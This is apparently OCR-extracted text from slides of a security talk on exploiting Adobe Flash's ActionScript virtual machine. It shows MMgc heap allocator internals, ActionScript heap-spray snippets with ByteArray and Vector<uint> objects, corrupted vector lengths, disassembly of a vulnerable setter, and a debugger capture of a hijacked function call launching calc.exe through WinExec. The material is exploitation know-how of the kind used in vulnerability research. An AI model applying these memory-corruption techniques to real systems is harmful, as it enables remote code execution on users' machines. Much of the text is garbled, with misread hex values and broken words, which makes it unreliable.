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0:022> dd
04467490
044674a0
044674b0
044674c0
04467440
044674e0
044674£0
04467500
0:022> dd
04862054
0486064
04862074
0486084
04862094
0486e0ad
0486e0b4
0486elcd
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10c88500
00002000
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ByteA

0000bce3
0492b0b8
00000000
00000000
00000001
00000000
00002000

00000003
00000000
00000000
00000000
00000000
0486078
00000000
00000000
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0:022> dd
04467490
044674a0
044674b0
044674c0
04467440
0446740
044674€0
04467500
0:022> dd
0486054
0486064
04862074
04862084
04862094
0486e0ad
0486e0bd
0486e0cd
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00000000
00000000
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00000000
00000000
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€ ByteArrayObject

@ Buffer

ByteArray

68c5c8=0 00000031
11f2eca8 00000040
68c5c87c 68c5c888
Oc8c90c0 00000000

L1e77368] 00000000

68cSbeb8 00000001
oooo0444 00007300
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0c824b80
68b80d5c
11=83000
68cbeblt
68c5c874

00001000
33302d35




FixedMalloc

FixedMalloc::Alloc(size)
d
if(size < kLargestAlloc) // 32bit 2032
FindAllocate(size)->FixedAlloc()
else
LargeAlloc(size)
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+0x1c

firstFree
nextItem
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prev
numAlloc
size
nextFree
prevFree
alloc
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FixedBlock

07c03000 4o0000000F 00000000 07c07000 O7bf£000
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FixedBlock

+0x00
+0x04
+0x08
+0x0c
+0x10
+0x12
+0x14
+0x18
+0x1c

firstFree
nextIitem
next

prev
numAlloc
size
nextFree
prevFree
alloc




REMNEE
@ ByteArray.clear Z BRI/ RIE

while(index < tthis.buffers count)

1
tByteArray = new ByteArray();

tByteArray.endian = Endian.LITTLE ENDIAN;
tByteArray.length = this.byte array size;

this.fill buffer(tByteArray, this.bytearray filll);
this.pad buffers[index] = tByteArray;

index++;

¥
this.bytearrayl.clear();
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Vector<uint>

Vector<uint>

Vector<uint>

Vector<uint>

Free

Corrupt Buffer

Vector<uint>

Vector<uint>

Vector<uint>

Vector<uint>

EHTAT )

Vector<uint>

Vector<uint>
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GC::Alloc

GC::Alloc
d
if(size < kLargestAlloc) /1968
GCAlloc()

else
GCLargeAlooc::Alloc()




GCBlock

07c06000
07c06010
07c06020
07c06030
07c06040
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07c06080
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07c060£0

07c06100
N7~N&a11n

00010800
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GCAlloc
next
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prev
firstFree
prevFree
nextFree
numfree
items
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m_firstBlock
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size
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; void _ thiscall avmplus::ByteArrayObject::setUintProperty{avmplus::ByteArray0b

?setUintProperty@ByteArray0bject@avmplus@RUAEXIHEZ proc near

arg_0= dword ptr 4
arg_4= dword ptr 8

mov eax, [esp+arg_#0]

push esi

push eax ; int

add ecx, 18h ; this

call ??AByteArray@avmplus@RQAEAAEIRZ ; avmplus::ByteArray::operator|[](uint)
mov ecx, [esp+4+arg_4]

push ecx ; int

mov esi, eax

call ?integer@AvmCore@avmplus@@SAHHE@Z ; avmplus::AumCore::
add esp, 4

mov  [esi], a1 << 1 FREE

pop esi

retn 8
?setUintProperty@ByteArray0bject@avmplus@ERUAEXIHEZ endp

s qif— 18
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ali] =

ali+1]

REHRE

new Class2(i);

new ByteArray();

a[i+1l].length = 0xfa0;

ali+2]

new Class2(i+2);

0f2fc000
0f2fc010
Df2fc020
0f2fc030
Df2fc040

0f£2£d4000
0f£2£d4010
Df2£d020
0£2£d4030
0f2£d040

0f2f=000
0f2fe010
Df2fe020
0f2fe030
Df2fe040

0£2££000
0£2££010
D£2££020
D£2££030
D£2££040

00000000
00000000
00000000
00000000
00000000

1010c00
£299000
80048a0
£2£d038
800483c

1010c00
£2£d4000
80048a0
f2fe038
800483c

0000000
0000000
0000000
0000000
0000000

00000000
00000000
00000000
00000000
00000000

00000fe0
0f£2£d018
00000003
00000040
68049694

00000fe0
0f2fe018
00000003
00000040
68049694

00000000
00000000
00000000
00000000
00000000

00000000
00000000
00000000
00000000
00000000

0feb3000
00000014
0£31a970
68004540
1003£080

0feb3000
00000014
0£31a970
68004840
1003£0830

00000000
00000000
00000000
00000000
00000000

00000000
00000000
00000000
00000000
00000000

Dfea?068
00000000
0£319=08
672914
Dfeb3000

Dfea?068
00000000
0£319=08
672914
0feb3000

00000000
00000000
00000000
00000000
00000000




0101000
Df2fd4000
680048a0
Df2fel38
6800483c
100752£8
Dfea7cel
00000003
Qoooo001
11223344
11223344
11223344
11223344
11223344
11223344
11223344

11992244

00000fe0
Df2fells
oooooo03
00000040
68049694
oooo0o00o0o
oooooo0o0
oooo0o00o0o0
ooooo001
11223344
112233544
11223344
11223344
11223344
11223344
11223344

11992244

Class2

Dfeb3000
00000014
0£31a970
68004540
1003£030
oooooooo
ooo0oo00
Df2fel2l

11223344
11223344
11223344
11223344
11223344
11223344
11223344

117992244

Ofea?068
00000000
0£319=08
672914
0feb3000
6800320
68004534
ooooo0001

11223344
11223544

11223344
11223344
11223344
11223344
11223344
11223344

11992244
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€ Object Vector
¢ FEIGCEBENTEHEI Vector

GCAlloc *containsPointersNonfinalizeddllocs[kNumSizeClasses];
GCAlloc *containsPointersFinalizeddllocs[kNumSizeClasses];
GCAlloc *containsPointersRCAllocs[kNumSizeClasses];

GCAlloc *noPointersNonfinalizeddllocs[kNumSizeClasses];
GCAlloc *noPointersFinalizeddllocs[kNumSizeClasses];

€ Obj -> Vector| i |
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FunctionObject
S ASTHIEHERT R

@ Function.apply ; Function.call ; Function ()

Atom FunctionObject::A53 call(Atom thisArg, Atom *argv, int argc)
{

thisArg = get coerced receiver(thisArqg):
return core()->exec->call(get callEnv(), thisArg, argc, argv);




FunctionObject

‘ COI‘EEI FllllctiOIlObj eCtjk‘j:ﬁ ?3 tt~':’isavmp|u=;::ClassCIosure

—=] @ avmplus::ScriptObject
¢ avmplus::AvmPlusScriptableObject
—= (=) vtable
¢ MMgc::GCTraceableObject
P acTracePointerOffsets
& _toplevel
@ init
¢ base
¢ ivtable
—4? Z) traits
¢ MMgc::GCTraceableObject
¥ acTracePointerOffsets

= (=) core
¢ [avmshell::ShellCoreImpl]
¢ MMgc::GCRoot

@ config
o @ exec




62c?7d2c3 51

62c7d2c4
62c7d2c8 51
62c7d2c9 53
62c7d2ca S0
62c7d2chbh

-~ L B B = " .

8bcf

8bdc241c

‘ Virtual: esp

.

0dea%5c0 100££000
0dea%5c4 00000001

:

0:020> db 100££000

100££000
100££010
100££020
100££030
100££040
100££050
100££060
100££070

63
00
00
00
00
00
00
00

push
nov
push
push
push
nov

AS3 call

eCX

ecx,dwvord ptr [esp+l1lCh]
ecx
ebx
eax

ecx,edl

62c7d2cd ffd2 call kernel32 ! WinExec (779ff22e

edg

calc.exe
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& Uint Vector

€ Object Vector

000007£6
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11111111
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11111111
11111111

11111111
11111111
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02435459
cooooool
cooooool
cooooool
00000001
00000001
00000001

000007f6
11111111
11111111
11111111
11111111
11111111

11111111
11111111

A0001e34
000000fe

gooooool
gooooool
gooooool
00000001
00000001
00000001

29003795

11111111
11111111
11111111
11111111
11111111

11111111
11111111

aalllocod
00000001

coooooo0l
coooooo0l
cooooool
00000001
00000001
00000001

096a3000
11111111
11111111
11111111
11111111
11111111

11111111
11111111

09742921
cooooool
cooooo0o01
coooooo0l
oooooool
00000001
00000001
00000001



000003fd 52893edt 10523000 00000000

‘i&jﬁ 00000000 00000000 00000000 00000000
00000000
00000000 ( FEMIDEE
00000000
00000000
it |
& StringXf % 00000001 | 105 165 1561 FEURIEE
R '\: :‘ . j-‘ a nononnni
‘ﬁ&&i?ﬂ’ / ai&ﬂ@ﬁé*ﬁﬁ cookie:16e69440
& = HhlE Memory - Pid 3800 - WinD!
2340020 Displa

00010c00 00001fel 025cd000 025c60cE
1233000 12340018 00000010 O0OO0OOOOOO
6bS5c5240 000003fc 16269440 00000001
cooooool oo0OOOOO1 OOOOOOOY OOOOOOOL
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@ VectorObject

EXT R IREr

\ e E
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@ CookiefENlength

@ ZXHVector<uint>EH 5 Cookie

69b8c?6c JUUUUUUE| 1661254t 00000006
00000001 0000001e OOOOOOOY OOO0OODOOL
oooo0o0o001 0000OOOO OOOOOOOO 00000000

= E RS —al
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